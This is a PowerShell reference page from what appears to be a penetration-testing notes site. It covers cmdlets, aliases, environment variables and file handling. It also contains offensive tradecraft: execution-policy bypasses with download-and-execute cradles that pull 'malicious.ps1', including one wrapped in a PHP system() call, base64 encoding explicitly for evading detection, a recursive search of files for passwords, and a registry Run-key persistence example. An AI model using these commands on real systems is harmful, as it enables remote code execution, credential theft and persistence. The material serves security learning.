Hackers Rest
  • Hacker's Rest
  • Tools & Cheatsheets
    • Cybersecurity YouTube Channels
  • Hacking Methodology
  • Hands-on Practice
  • Fundamentals
    • Network Fundamentals
    • Computer Fundamentals
  • Unix
    • Unix Fundamentals
    • Hardening & Setup
      • TMUX/Screen Cheatsheet
    • Red Team Notes
      • Enumeration
      • Getting Access
      • Privilege Escalation
      • Pivoting/Lateral Movement
      • Data Exfiltration
      • Persistence
    • Vim
  • Windows
    • Windows Fundamentals
    • PowerShell
    • Hardening & Setup
    • Red Team Notes
      • Enumeration
      • Getting Access
      • Privilege Escalation
      • Pivoting/Lateral Movement
      • Persistence
      • Data Exfiltration
      • Active Directory
        • Enumeration
        • Getting Access
        • Privilege Escalation
        • Persistence
      • Kerberos
      • Impacket
  • MacOS
    • MacOS Basics
    • Hardening & Configuration
    • Red Team Notes
      • Enumeration
      • Getting Access
      • Privilege Escalation
      • Persistence
  • Web
    • Burp Suite
    • DNS
    • Web Notes
      • Enumeration
      • Web Filter Bypass
      • Command Injection
      • Subdomain/Virtual Host Enumeration
      • The Web Application Hacker's Handbook
  • Mobile
    • iOS
    • Android
  • OS Agnostic
    • Basic Enumeration
    • Cryptography & Encryption
    • Network Hardware
    • OS Agnostic
    • OSINT
    • Password Cracking
      • Gathering the Hashes
      • Wordlist Manipulation
      • Cracking the Hashes
    • Pivoting
      • Chisel
      • Plink.exe
      • SSH
      • Sshuttle
      • Socat
    • Reverse Engineering & Binary Exploitation
      • Buffer Overflow
    • Scripting
      • Script Language Syntax
    • SQL
    • SSH & SCP
    • Steganography
    • Wireless
  • Unsorted
Powered by GitBook
On this page
  • PowerShell Syntax
  • PowerShell Commands
  • Cmdlets
  • Functions
  • Aliases
  • Check the Version of PowerShell
  • Script Execution Policy
  • PowerShell Script Execution Bypass
  • Environment Variables
  • Adding a Folder to PATH
  • Working with Files
  • Change file attributes
  • Recursively search for files that contain a certain string
  • Modifying the Registry
  • MISC
  • PowerShell.exe location on disk
  • Downloading files with PowerShell (wget)
  • Silence PowerShell error messages
  • Unsorted...
  • Resources

Was this helpful?

Edit on GitHub
  1. Windows

PowerShell

PreviousWindows FundamentalsNextHardening & Setup

Last updated 20 days ago

Was this helpful?

PowerShell Syntax

For PowerShell syntax examples see my scripting page .

PowerShell Commands

In PowerShell, there are three main types of commands: cmdlets, functions, and aliases.

Cmdlets

Cmdlet is pronounced "command-let". They are instances of .NET classes, not stand-alone executables like in other shell environments. This makes it extremely easy for third parties to extend the functionality of PowerShell without compiling new binaries. Cmdlet names have the form "Verb-Noun" to make them easily discoverable (according to Microsoft anyway!).

Since cmdlets are an actual instance of a .NET class, the output from a command is a bit different than in a traditional command shell. Instead of the common standard-in and standard-out, PowerShell returns an object that contains a number of properties of which a select number are displayed depending on the cmdlet. Objects returned by a cmdlet often have many more discoverable properties and methods that can be manipulated and acted on by those with experience, through experimentation, or by reading the documentation. This makes it extremely powerful.

You can also use them in pretty much the same way as commands in a traditional shell environment without knowing any of this, though you will get much more out of it if you take the time to learn.

cmdlet verbs

Cmdlets are restricted to only a set list of verbs. Nouns can be whatever you want, but should follow Third party developers and scripters are encouraged by Microsoft to only use ones from this list for consistency, but PowerShell will not deny modules that use other verbs from running. The most common verbs are New, Get, Set, and Invoke, though there are many more. You can read more about this .

The Three Core Cmdlets

If you know how to use these three cmdlets, you can figure out how to use any other cmdlet.

Run Get-Help $cmdlet_name -Examples for usage

Cmdlet
Alias
Description

gcm

Gets all currently installed PowerShell commands.

Displays basic help about cmdlets and functions, including examples. To get more advanced examples and information, the help index may need updating with Update-Help as it is not installed by default (may require admin rights). Similar to Unix man pages.

gm

Gets the properties and methods of objects.

Other useful cmdlets

Cmdlet Name
Alias
Description

Adds a signed app package to a user account.

Adds an app package (.appx) that will install for each new user to a Windows image.

Add the local computer to a domain or workgroup.

ac

Appends content, such as words or data, to a file.

Generates a new root key for the Microsoft Group KdsSvc within Active Directory.

Adds members to a local group.

Adds custom properties and methods to an instance of a PowerShell object.

Adds one or more PowerShell snap-ins to the current session.

Adds a.NET Framework type (a class) to a PowerShell session.

Installs a Windows capability package on the specified operating system image.

Adds a single .cab or .msu file to a Windows image.

clc

Deletes the contents of an item, but does not delete the item.

clv

Deletes the value of a variable.

compare, diff

Compares two sets of objects.

Confirms that Secure Boot is enabled by checking the Secure Boot status on the local computer.

cvpa

Converts a path from a PowerShell path to a PowerShell provider path.

Converts object properties in comma-separated value (CSV) format into CSV versions of the original objects.

Converts a JSON-formatted string to a custom object.

Converts a secure string to an encrypted standard string.

CFS

Extracts and parses structured properties from string content.

Converts a string containing one or more key and value pairs to a hash table.

Converts objects into a series of comma-separated value (CSV) variable-length strings.

Converts .NET Framework objects into HTML that can be displayed in a Web browser.

Converts an object to a JSON-formatted string.

Creates an XML-based representation of an object.

Converts encrypted standard strings to secure strings. It can also convert plain text to secure strings. Used with ConvertFrom-SecureString and Read-Host.

copy, cp, cpi

Copies an item from one location to another.

Disables a feature in a Windows image.

Configures the computer to receive remote commands.

Enables a feature in a Windows image.

Enables CredSSP authentication on a computer.

etsn

Starts an interactive session with a remote computer.

exsn

Ends an interactive session with a remote computer.

Exports a certificate from a certificate store into a file.

Creates an XML-based representation of an object or objects and stores it in a file.

epcsv

Converts objects into a series of comma-separated (CSV) strings and saves the strings in a CSV file.

Specifies the module members that are exported.

Exports a certificate or a PFXData object to a Personal Information Exchange (PFX) file.

Exports the layout of the Start menu/screen.

Exports all third-party drivers from a Windows image to a destination folder.

Finds software packages in available package sources.

%, foreach

Performs an operation against each item in a collection of input objects.

fc

Uses a customized view to format the output.

fl

Formats the output as a list of properties in which each property appears on a new line.

ft

Formats the output as a table.

fw

Formats objects as a wide table that displays only one property of each object.

Gets the security descriptor for a resource, such as a file or registry key.

gal

Gets the aliases for the current session.

Returns App-V Client Packages.

Gets a list of the app packages that are installed in a user profile.

Gets information about app packages (.appx) in an image that will be installed for each new user.

Gets information about the Authenticode signature for a file.

Gets the associated BitsJob object for an existing BITS transfer job.

Submits a certificate request to an enrollment server and installs the response or retrieves a certificate for a previously submitted request.

dir, gci, ls

Gets the files and folders in a file system drive.

Gets the CIM instances of a class from a CIM server.

Gets the current Windows clipboard entry.

Gets a consolidated object of system and operating system properties.

cat, gc, type

Gets the contents of a file.

Gets performance counter data from local and remote computers.

Gets a credential object based on a user name and password.

Gets the current culture set in the operating system.

Gets the current date and time.

Gets the events in the event queue.

Gets the events in an event log, or a list of the event logs, on the local or remote computers.

Gets the execution policies for the current session.

ghy, h, history

Gets a list of the commands entered during the current session.

Gets an object that represents the current host program.

Gets the hotfixes that have been applied to the local and remote computers.

gi

Gets files and folders.

gp

Gets the properties of a specified item.

gpv

Gets the value for one or more properties of a specified item.

gjb

Gets PowerShell background jobs that are running in the current session.

Gets the local security groups.

Gets members from a local group.

Gets local user accounts.

gl, pwd

Gets information about the current working location (directory) or a location stack.

gmo

Gets the modules that have been imported or that can be imported into the current session.

Returns a list of all software packages that have been installed by using Package Management.

Gets information about .pfx certificate files on the computer.

gps, ps

Gets the processes that are running on the local computer or a remote computer.

gdr

Gets drives in the current session.

gsn

Gets PowerShell session information on local and remote computers.

Gets the PowerShell snap-ins on the computer.

Gets a random number, or selects objects randomly from a collection.

Gets scheduled jobs on the local computer.

gsv

Gets the services on a local or remote computer.

Gets an object that contains information about a TPM.

gu

Returns unique items from a sorted list.

gv

Gets the variables in the current console.

Gets scheduled jobs on the local computer.

Gets Windows capabilities for an image or a running operating system.

Gets information about optional features in a Windows image.

Gets events from event logs and event tracing log files on local and remote computers.

gwmi

Gets instances of WMI classes or information about the available classes.

group

Groups objects that contain the same value for specified properties.

Imports one or more certificates into a certificate store.

ipcsv

Creates table-like custom objects from the items in a CSV file.

Imports a CLIXML file and creates corresponding objects in PowerShell.

ipmo

Adds modules to the current session.

Imports certificates and private keys from a Personal Information Exchange (PFX) file to the destination store.

ipsn

Imports commands from another session into the current session.

Imports the layout of the Start into a mounted Windows image.

Installs one or more software packages.

Installs one or more Package Management package providers.

Invokes a method of a CIM class.

icm

Runs commands on local and remote computers.

iex

Runs commands or expressions on the local computer.

ii

Performs the default action on the specified item.

irm

Sends an HTTP or HTTPS request to a RESTful web service.

curl, iwr, wget

Gets content from a web page on the Internet.

Calls WMI methods.

Combines a path and a child path into a single path.

Measures the time it takes to run script blocks and cmdlets.

measure

Calculates the numeric properties of objects, such as the counts of the characters, words, and lines in string objects, such as from text files.

mi, move, mv

Moves an item from one location to another.

Mounts a Windows image in a WIM or VHD file to a directory on the local computer.

nal

Creates a new alias.

Creates a CIM session.

Creates a new event log and a new event source on a local or remote computer.

ni

Creates a new item.

Creates a new property for an item and sets its value.

Creates a job trigger for a scheduled job.

Creates a local user account.

Creates an instance of a .NET or COM object.

mount, ndr

Creates temporary and persistent mapped network drives.

nsn

Creates a persistent connection to a local or remote computer.

Creates an object that contains advanced options for a PSSession.

Creates a new self-signed certificate for testing purposes.

Creates a new Windows service.

Creates a TimeSpan object.

nv

Creates a new variable.

Creates a Web service proxy object that lets you use and manage the Web service in PowerShell.

Sends the output to the default formatter and to the default output cmdlet.

Sends output to a file.

ogv

Sends output to an interactive table in a separate window.

oh

Sends output to the command line.

Deletes output instead of sending it down the pipeline.

lp

Sends output to a printer.

Sends objects to the host as a series of strings.

pushd

Adds the current location to the top of a location stack.

Reads a line of input from the console.

rcjb

Gets the results of the Windows PowerShell background jobs in the current session.

Subscribes to the events that are generated by a Microsoft .NET Framework object.

Creates a scheduled job.

Removes an app package from a user account.

Removes an app package (.appx) from a Windows image.

Removes the local computer from its domain.

del, erase, rd, ri, rm, rmdir

Deletes files and folders.

rp

Deletes the property and its value from an item.

rmo

Removes modules from the current session.

rdr

Deletes temporary PowerShell drives and disconnects mapped network drives.

rsn

Closes one or more PowerShell sessions.

rv

Deletes a variable and its value.

Deletes an instance of an existing Windows Management Instrumentation (WMI) class.

Renames a computer.

ren, rni

Renames an item in a PowerShell provider namespace.

Repairs a Windows image in a WIM or VHD file.

Resets the machine account password for the computer.

Performs a DNS name query resolution for the specified name. This cmdlet is functionally similar to the nslookup tool which allows users to query for names.

rvpa

Resolves the wildcard characters in a path, and displays the path contents.

Restarts, or "reboots", the operating system on local and remote computers.

Stops and then starts one or more services.

select

Selects objects or object properties.

sls

Finds text in strings and files.

Finds text in an XML string or document.

Sends an email message.

Changes the security descriptor of a specified item, such as a file or a registry key.

sal

Creates or changes an alias for a cmdlet or other command element in the current PowerShell session.

Adds an Authenticode signature to a PowerShell script or other file.

sc

Replaces the contents of a file with contents that you specify.

Sets the user culture for the current user account.

Changes the system time on the computer to a time that you specify.

Applies Local Configuration Manager settings to nodes.

Changes the current PowerShell execution policy.

si

Changes the value of an item to the value specified in the command.

sp

Creates or changes the value of a property of an item.

Modifies a local user account.

cd, chdir, sl

Sets the current working location to a specified location.

Turns script debugging features on and off, sets the trace level, and toggles strict mode.

Changes the properties of a registered session configuration.

Starts, stops, and suspends a service, and changes its properties.

Establishes and enforces coding rules in expressions, scripts, and script blocks.

Sets the system time zone to a specified time zone.

set, sv

Sets the value of a variable. Creates the variable if one with the requested name does not exist.

Sets the system locale (the language for non-Unicode programs) for the current computer.

Sets the language list and associated properties for the current user account.

Creates or updates an instance of an existing Windows Management Instrumentation (WMI) class.

Configures the local computer for remote management.

sort

Sorts objects by property values.

Returns the specified part of a path. Example: cd to file location:cd (Split-Path -Parent (Get-Command -Name pwsh).Path)

Creates a BITS transfer job.

Applies configuration to nodes.

sajb

Starts a background job in PowerShell.

saps, start

Starts one or more processes on the local computer.

sasv

Starts one or more stopped services.

sleep

Suspends the activity in a script or session for the specified period of time.

Creates a record of all or part of a PowerShell session to a text file.

Shuts down local and remote computers.

kill, spps

Stops one or more running processes.

spsv

Stops one or more running services.

Stops logging PowerShell history.

tee

Saves command output in a file or variable and also sends it down the pipeline.

Tests and repairs the secure channel between the local computer and its domain.

Sends ICMP echo request packets ("pings") to one or more computers.

Determines whether all elements of a file or directory path exist.

Tests whether the WinRM service is running on a local or remote computer.

Unblocks files that were downloaded from the Internet.

Uninstalls one or more software packages.

Downloads and installs the newest help files on your computer.

wjb

Suppresses the command prompt until one or all of the background jobs running in the PowerShell session are completed.

Waits for the processes to be stopped before accepting more input.

?, where

Selects objects from a collection based on their property values.

Writes a debug message to the console.

Writes an object to the error stream.

Writes an event to an event log.

Writes output to the console.

Specifies how PowerShell handles information stream data for a command.

echo, write

Sends the specified objects to the next command in the pipeline. If the command is the last command in the pipeline, the objects are written to the console.

Functions

PowerShell functions are reusable blocks of code that can be executed by calling their name. They are similar to cmdlets but are user-defined and can include custom logic. Functions are a core part of PowerShell scripting and automation.

Difference Between Cmdlets and Functions

Feature
Cmdlets
Functions

Definition

Predefined commands written in .NET, provided by PowerShell or modules

User-defined commands written in PowerShell scripts

Performance

Optimized for performance

May be slower depending on implementation

Customization

Limited to parameters and pipeline

Fully customizable, including logic and structure

Examples

Get-Process, Set-Item

Custom scripts like function MyFunction { Write-Output 'Hello' }

Creating Functions

To create a function in PowerShell, use the function keyword followed by the function name and a script block:

function Greet {
    param (
        [string]$Name
    )
    Write-Output "Hello, $Name!"
}

# Usage
Greet -Name "World"
# Output: Hello, World!

Anonymous Functions

Anonymous functions, also known as script blocks, are unnamed blocks of code that can be assigned to variables or passed as arguments:

# Assigning a script block to a variable
$myScriptBlock = {
    param($x, $y)
    $x + $y
}

# Invoking the script block
$myScriptBlock.Invoke(5, 10)  # Output: 15

Categorized Functions

Security Functions

The following table lists PowerShell functions categorized under Security:

Function Name
Description

Modifies settings for Windows Defender.

Enables encryption for a BitLocker volume.

Enables a previously disabled firewall rule.

Gets information about volumes that BitLocker can protect.

Retrieves firewall rules from the target computer.

Merges Windows Update .etl files into a single log file.

Creates a new inbound or outbound firewall rule and adds the rule to the target computer.

Configures preferences for Windows Defender scans and updates.

Configures settings that apply to the per-profile configurations of the Windows Firewall with Advanced Security.

Modifies existing firewall rules.

Suspends Bitlocker encryption for the specified volume.

Network Functions

The following table lists PowerShell functions categorized under Network:

Function Name
Description

Adds a VPN connection to the Connection Manager phone book.

Adds a route to a VPN connection.

Disables a binding to a network adapter.

Gets DNS server IP addresses from the TCP/IP properties on an interface.

Gets one or more host bus adapter (HBA) initiator ports.

Gets the basic network adapter properties.

Gets the VMQ properties of a network adapter.

Gets a connection profile.

Gets IP network configuration.

Gets the IP address configuration.

Gets an IP interface.

Gets TCP connections.

Creates and configures an IP address.

Creates a new NIC team.

Creates a NAT object.

Creates a route in the IP routing table.

Removes an IP address and its configuration.

Sets DNS server addresses associated with the TCP/IP properties on an interface.

Sets the basic network adapter properties.

Sets the VMQ properties of a network adapter.

Changes the network category of a connection profile.

Modifies the configuration of an IP address.

Modifies an IP interface.

Displays diagnostic information for a connection.

PoSh Functions

The following table lists PowerShell functions categorized as PowerShell-specific):

Function Name
Description

Finds modules from an online gallery that match specified criteria.

Gets installed modules on a computer.

Gets PowerShell repositories.

Downloads one or more modules from an online gallery, and installs them on the local computer.

Invokes Pester to run all tests (files containing *.Tests.ps1) recursively under the Path

Registers a PowerShell repository.

Saves a module locally without installing it.

Sets values for a registered repository.

Uninstalls a module.

Downloads and installs the newest version of specified modules from an online gallery to the local computer.

Updates a script.

Scheduled Tasks Functions

The following table lists PowerShell functions categorized under Scheduled Tasks:

Function Name
Description

Gets the task definition object of a scheduled task that is registered on the local computer.

Gets run-time information for a scheduled task.

Creates a scheduled task instance.

Creates a scheduled task action.

Creates an object that contains a scheduled task principal.

Creates a new scheduled task settings object.

Creates a scheduled task trigger object.

Registers a scheduled task definition on a local computer.

Modifies a scheduled task.

Unregisters a scheduled task.

Printer Functions

The following table lists PowerShell functions categorized under Printer:

Function Name
Description

Adds a printer to the specified computer.

Installs a printer driver on the specified computer.

Installs a printer port on the specified computer.

Retrieves a list of printers installed on a computer.

Removes a printer from the specified computer.

Updates the configuration of an existing printer.

Storage Functions

The following table lists PowerShell functions categorized under Storage:

Function Name
Description

Cleans a disk by removing all partition information and un-initializing it, erasing all data on the disk.

Formats one or more existing volumes or a new volume on an existing partition.

Gets one or more disks visible to the operating system.

Returns a list of all partition objects visible on all disks, or optionally a filtered list using specified parameters.

Gets a list of all PhysicalDisk objects visible across any available Storage Management Providers, or optionally a filtered list.

Returns information about long-running Storage module jobs, such as a repair task.

Returns a list of VirtualDisk objects. This can be across all storage pools, across all providers, or optionally as a filtered subset.

Gets the specified Volume object, or all Volume objects if no filter is provided.

Initializes a RAW disk for first time use, enabling the disk to be formatted and used to store data.

Mounts a previously created disk image (virtual hard disk or ISO), making it appear as a normal disk.

Creates a new partition on an existing Disk object.

Creates a new storage pool using a group of physical disks.

Creates a new virtual disk in the specified storage pool.

Creates a volume with the specified file system.

Optimizes a storage volume.

Removes a physical disk from a specified storage pool.

Performs repairs on a volume.

Resizes a partition and the underlying file system.

Takes a Disk object or unique disk identifiers and a set of attributes, and updates the physical disk on the system.

Sets attributes of a partition, such as active, read-only, and offline states.

Sets attributes on a specific physical disk.

Utility Functions

The following table lists PowerShell functions categorized under Utility:

Function Name
Description

Clears the display in the host program. Alias: clear or cls

Creates an archive, or zipped file, from specified files and folders.

Extracts files from a specified archive (zipped) file.

Computes the hash value for a file by using a specified hash algorithm.

Creates a GUID.

Sets the current Windows clipboard entry.

SMB Functions

The following table lists PowerShell functions categorized under SMB:

Function Name
Description

Retrieves the connections established from the SMB client to the SMB servers.

Retrieves basic information about the files that are open on behalf of the clients of the SMB server.

Retrieves the SMB server configuration.

Retrieves information about the SMB sessions that are currently established between the SMB server and the associated clients.

Retrieves the SMB shares on the computer.

Retrieves the ACL of the SMB share.

Adds an allow ACE for a trustee to the security descriptor of the SMB share.

Creates an SMB mapping.

Creates an SMB share.

Sets the SMB client configuration.

Modifies the properties of the SMB share.

Sets the SMB Service configuration.

Apps Functions

The following table lists PowerShell functions categorized under Apps:

Function Name
Description

Gets the names and AppIDs of installed apps.

Hardware Functions

The following table lists PowerShell functions categorized under Hardware:

Function Name
Description

Returns information about PnP devices.

Aliases

There are many built-in aliases for the most commonly used cmdlets. The developers wanted to make cmd.exe and Unix users feel at home, so many of those basic commands will function in a similar way. Here are some commonly used examples. You can use the Get-Alias cmdlet to see the full list.

Cmdlet
Aliases

Get-ChildItem

  • ls

  • dir

  • gci

Get-Content

  • cat

  • type

  • gc

Set-Location

  • cd

  • chdir

  • sl

Check the Version of PowerShell

$PSVersionTable

Script Execution Policy

The Script Execution Policy in PowerShell is a security feature that determines the conditions under which PowerShell scripts are allowed to run. This is important because it helps prevent the execution of malicious scripts by enforcing restrictions on script execution. Understanding and configuring the Script Execution Policy is crucial for maintaining a secure environment while using PowerShell.

Bypassing these restrictions is trivial, however, depending on the scope of the change. Attackers do this to execute scripts, escalate privileges, or maintain persistence on a compromised system. By knowing the execution policy and its limitations, attackers can identify potential methods to avoid or exploit these settings, such as using the Bypass policy or leveraging misconfigurations.

Policy
Description

AllSigned

All .ps1 files must be digitally signed. PowerShell prompts the user to determine if files from the signing publisher should be run.

Bypass

Bypasses checks for whether files are signed, and internet origin is not verified.

Default

The default policies are Restricted (client systems) or RemoteSigned (Server 2016+)

RemoteSigned

All .ps1 files originating from the internet must be digitally signed. PowerShell prompts the user to determine if files from the signing publisher should be run. Allows local scripts and remote scripts if they are signed.

Restricted

All .ps1 files are blocked.

Undefined

There is no execution policy set in the current scope. Reverts to Default policy.

To view current execution policy check use the cmdlet Get-ExecutionPolicy. If no execution policy is set in any scope, the effective execution policy is Restricted, which is the default for client systems (Windows 10) or RemoteSigned (Server 2016+).

The policy can be changed with the cmdlet Set-ExecutionPolicy.

Set-ExecutionPolicy $PolicyName

PowerShell Script Execution Bypass

Get the current PowerShell script execution policy for all scopes with:

Get-ExecutionPolicy -List

Most likely this will be set to Restricted, but you need to have admin rights to change this (with one caveat later). So, in order to run scripts, you will need to use one of the following bypass methods.

Change Execution Method with -Scope CurrentUser

Set-ExecutionPolicy Bypass -Scope CurrentUser -File script.ps1

You can change the Execution Policy for the current user by using the -Scope CurrentUser argument. This will still not allow you to run scripts in other contexts (such as in scheduled tasks), but all scripts run as the current user will now function just fine. This is the easiest bypass method but requires making a configuration change that could potentially be detected.

Copy and paste script code into PowerShell

The second easiest method is to simply copy and paste the code from the script into a PowerShell console. It may prompt you to verify that you intend to paste multiple lines, simply click "yes". As long as the code does not have any strange formatting that prevents it from running line by line, the whole script will run. If the script contains a function, you can continue to use this function simply by calling its name.

Echo the script code into PowerShell

This technique is similar to the previous, in that you must copy and paste the code from the script into a PowerShell console. However, you must prefix your code with the echo (Alias for Write-Output) command and then pipe the copied code into PowerShell.exe, like below:

echo Test-YourCode | PowerShell -NoProfile -

If your code contains multiple lines, quotes, or is contained within a function it may not execute properly, or at all. You will have to experiment with wrapping the code in quotes or escaping certain characters. This may seem like a pain, but the upside to this technique is that it requires no configuration changes, and the code is run entirely in memory.

Using the -Command Parameter

You can execute a script directly from the command line without saving it to disk by putting it into a code block and using the -Command parameter:

powershell.exe -NoProfile -Command "& {Get-Process}"

Embedding in a PHP Script

You can embed a PowerShell bypass in a PHP script to execute commands:

<?php
$cmd = "powershell.exe -ExecutionPolicy Bypass -Command \"IEX(New-Object Net.WebClient).DownloadString('http://example.com/malicious.ps1')\"";
system($cmd);
?>

Using Encoded Commands

You can encode the PowerShell command to avoid detection:

$command = "IEX(New-Object Net.WebClient).DownloadString('http://example.com/malicious.ps1')"
$bytes = [System.Text.Encoding]::Unicode.GetBytes($command)
$encodedCommand = [Convert]::ToBase64String($bytes)
powershell.exe -EncodedCommand $encodedCommand

Using Invoke-Expression

You can use Invoke-Expression to execute a script in memory:

IEX(New-Object Net.WebClient).DownloadString('http://example.com/malicious.ps1')

Using Get-Content and Piping

You can read the contents of a script and pipe it into PowerShell:

Get-Content script.ps1 | powershell.exe -NoProfile -

This can also be done remotely using a UNC path:

Get-Content "\\RemoteComp\Test-YourCode.ps1" | PowerShell -NoProfile -

Environment Variables

Show all current environment variables in PowerShell: Get-ChildItem Env:

Also aliased to: dir env: or ls env: or gci env:

Environment variables can be echo'd or used in scripts by prefixing them with $env:. Ex:

echo $env:USERNAME
#bob

Show all current environment variables in cmd.exe: set

Environment variables can be echo'd or used in scripts by bracketing them with %. Ex:

echo %USERNAME%
#bob

Convert cmd.exe environment variables to PowerShell:

%SYSTEMROOT% == $env:SystemRoot

You can assign values to Environment Variables without using a cmdlet using the following syntax:

$Env:$var = "$value"

Examples:

  • $env:username

  • $env:hostname

  • $env:path

If you set a value to an environment variable that does not exist, Windows will create it. You can use this to create your own custom environment variables.

You can also use the 'Item' cmdlets, such as Set-Item, Remove-Item, and Copy-Item to change the values of environment variables. For example, you can use the Set-Item cmdlet to append C:\Windows\Temp to the value of the $Env:PATH environment variable (see the following section).

Adding a Folder to PATH

Set-Item -Path Env:PATH -Value ($Env:Path + ";C:\Windows\Temp")

In this command, the value $Env:Path + ";C:\Windows\Temp" is enclosed in parentheses so that it is interpreted as a single unit.

To append C:\Windows\Temp to the PATH , use the following syntax (note the (;) separator):

$Env:PATH += ";C:\Windows\Temp"

Add a folder to PATH using System.Environment .NET methods

The System.Environment .NET class provides GetEnvironmentVariable and SetEnvironmentVariable methods that allow you to specify the scope of the variable.

The following example uses the GetEnvironmentVariable method to get the machine setting of PSModulePath and the SetEnvironmentVariable method to add the C:\Program Files\Fabrikam\Modules path to the value.

$path = [Environment]::GetEnvironmentVariable('PSModulePath', 'Machine')
$newpath = $path + ';C:\Program Files\Fabrikam\Modules'

To append C:\Windows\Temp to the PATH in Windows CMD, use the following syntax (note the ; separator):

set PATH=%PATH%;C:\Windows\Temp

To make this change permanent, use the setx command:

setx PATH "%PATH%;C:\Windows\Temp"

Note: Changes made with setx will only take effect in new CMD sessions. Also beware the maximum character limit of 256, as PATHs longer than this will get truncated.

On Linux or MacOS, the colon (:) in the command separates each path in the list.

Linux/MacOS

To append /temp to the PATH, use the following syntax (note the : separator):

export PATH="$PATH:/temp"

To make this change permanent, add the above line to your shell's configuration file (e.g., ~/.bashrc, ~/.zshrc, or ~/.bash_profile) and reload the configuration using:

source ~/.bashrc

Working with Files

Find hidden files

Get-ChildItem -Force

Change file attributes

This can also be used to change file property flags such as Hidden, Archive, and ReadOnly.

$file = (Get-ChildItem $file_name) #can shorten command with gci, dir, or ls
$file.attributes #Show the files attributes
# Normal

#Flip the bit of the Hidden attribute
$file.attributes = $file.Attributes -bxor ([System.IO.FileAttributes]::Hidden)
$file.attributes
# Hidden

#To remove the 'Hidden' attribute
$file.attributes = $file.Attributes -bxor ([System.IO.FileAttributes]::Hidden)
$file.attributes
# Normal

Recursively search for files that contain a certain string

Shorthand (aliased) version:

ls -R|?{$_|sls 'password'}|%{$_.FullName;gc $_}

Remove ;gc $_ to only list the filenames. Then you can extract to Linux and use better text manipulation tools like strings and grep.

ls -R | ? { $_ | sls 'password' } | % { $_ ; gc $_ }

The above is expanded for visibility of the individual elements. The shorthand version is condensed for situations where characters are at a premium.

Full version:

Get-ChildItem -Recurse | Where-Object {(Select-String -InputObject $_ -Pattern 'password' -Quiet) -eq $true} | ForEach-Object {Write-Output $_; Get-Content $_}

Explanation:

# Get a listing of all files within this folder and its subfolders.
Get-ChildItem -Recurse |

# Filter files according to a script.
Where-Object {
    # Pick only the files that contain the string 'password'.
    # Note: The -Quiet parameter tells Select-String to only return a Boolean. This is preferred if you just need to use Select-String as part of a filter, and don't need the output.
    (Select-String -InputObject $_ -Pattern 'password' -Quiet) -eq $true
} |

# Run commands against each object found.
ForEach-Object {
    # Output the file properties.
    Write-Output $_;

    # Output the file's contents.
    Get-Content $_
}

Aside from the obvious use of aliases, collapsing of whitespace, and truncation of parameter names in the shorthand version, you may want to note the following significant differences between the "full" versions and the "condensed" version:

  • Select-String was swapped to use piped input instead of -InputObject.

  • The -Pattern parameter name was omitted from Select-String, as use of that parameter's name is optional.

  • The -Quiet option was dropped from Select-String. The filter will still work, but it will take longer since Select-String will process each complete file instead of stopping after the first matching line.

  • -eq $true was omitted from the filter rule. When a filter script already returns a Boolean, you do not need to add a comparison operator and object if you just want it to work when the Boolean is true.

    • Also note that this will work for some non-Booleans, like in this script. Here, a match will result in a populated array object, which is treated as true, while a non-match will return an empty array which is treated as false.

  • Write-Output was omitted. PowerShell will try to do this as a default action if an object is given without a command. If you don't need all the file's properties, and just want the full path on one line before the file contents, you could use this instead:

    • ls -R|?{$_|sls 'password'}|%{$_.FullName;gc $_}

Modifying the Registry

Here, HKCU:\Software\Microsoft\Windows\CurrentVersion\Run is given as the path (a popular persistence location!), but any path can be substituted.

# add a new key to registry:
New-Item -Path HKCU:\Software\Microsoft\Windows\CurrentVersion\Run -Name $key_name

# then set its properties with:
New-ItemProperty -Path HKCU:\Software\Microsoft\Windows\CurrentVersion\Run -PropertyType String -Name $key_name -Value "$key_value"

# To edit a value that is already set:
Set-ItemProperty -Path HKCU:\Software\Microsoft\Windows\CurrentVersion\Run -Name $key_name -Value "$new_value"

MISC

PowerShell.exe location on disk

Windows PowerShell Executables File System Locations on 64-bit Windows

The default paths to the executables for PowerShell and PowerShell ISE on relevant 64-bit Windows operating systems:

When converting cmd.exe environment variables to PowerShell:

%SYSTEMROOT% == $env:SystemRoot
Name
Location

32-bit (x86) PowerShell executable

$env:SystemRoot\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

64-bit (x64) Powershell executable

$env:SystemRoot\system32\WindowsPowerShell\v1.0\powershell.exe

32-bit (x86) Powershell ISE executable

$env:SystemRoot\SysWOW64\WindowsPowerShell\v1.0\powershell_ise.exe

64-bit (x64) Powershell ISE executable

$env:SystemRoot\system32\WindowsPowerShell\v1.0\powershell_ise.exe

Windows PowerShell Executables File System Locations on 32-bit Windows

The default paths to the executables for PowerShell and PowerShell ISE on relevant 32-bit Windows operating systems:

Name
Location

32-bit (x86) Powershell executable

$env:SystemRoot\system32\WindowsPowerShell\v1.0\powershell.exe

32-bit (x86) Powershell ISE executable

$env:SystemRoot\system32\WindowsPowerShell\v1.0\powershell_ise.exe

PowerShell full path: /usr/local/microsoft/powershell/7/

7 is the version number of PS Core, so this can change...

Downloading files with PowerShell (wget)

PowerShell version of wget:

powershell -c "(New-Object System.Net.WebClient).DownloadFile('$ip:$port/$file','$outfile'))"

You can also use the example below to save the file to the local machine.

wget https://zweilosec.gitbook.io/hackers-rest -OutFile C:\Windows\Temp\out.html

wget is an alias for Invoke-WebRequest. Adding -Outfile $out_file is needed to save the file to disk.

Retrieve file and execute remote code after downloading (in-memory!):

powershell -c "Invoke-Expression(New-Object System.Net.Webclient).downloadString('http://$ip:$port/$file')"

Silence PowerShell error messages

Many PowerShell cmdlets support the -ErrorAction SilentlyContinue attribute, which works similarly to using 2>/dev/null in Linux. However, this only works for that cmdlet, not the entire one-liner if you pipe output or use semi-colons, etc. This can be shortened to -EA Silently.

Unsorted...

Resources

  • TODO:

For**Execution-Policy** bypass methods for privilege escalation and so on see .

For more details on PowerShell bypass methods and their role in privilege escalation, see the page.

- look for text in a file and lists its name and contents. These examples are looking for the word 'password'.

PowerShell reverse shell and exploit scripts: nishang To learn how to use this tool check out Ippsec's video on youtube:

- site down?

If you like this content and would like to see more, please consider !

here
here
Windows Privilege Escalation
https://superuser.com/questions/815527/way-to-list-and-cat-all-files-that-contain-string-x-in-powershell
Ippsec:HacktheBox - Optimum
http://vcloud-lab.com/Microsoft
http://go.microsoft.com/fwlink/?LinkID=135170
https://docs.microsoft.com/en-us/powershell/scripting/learn/ps101/02-help-system?view=powershell-7
https://www.pdq.com/powershell/
https://blog.netspi.com/15-ways-to-bypass-the-powershell-execution-policy/
https://0xdarkvortex.dev/index.php/2019/01/01/active-directory-penetration-dojo-ad-environment-enumeration-1/
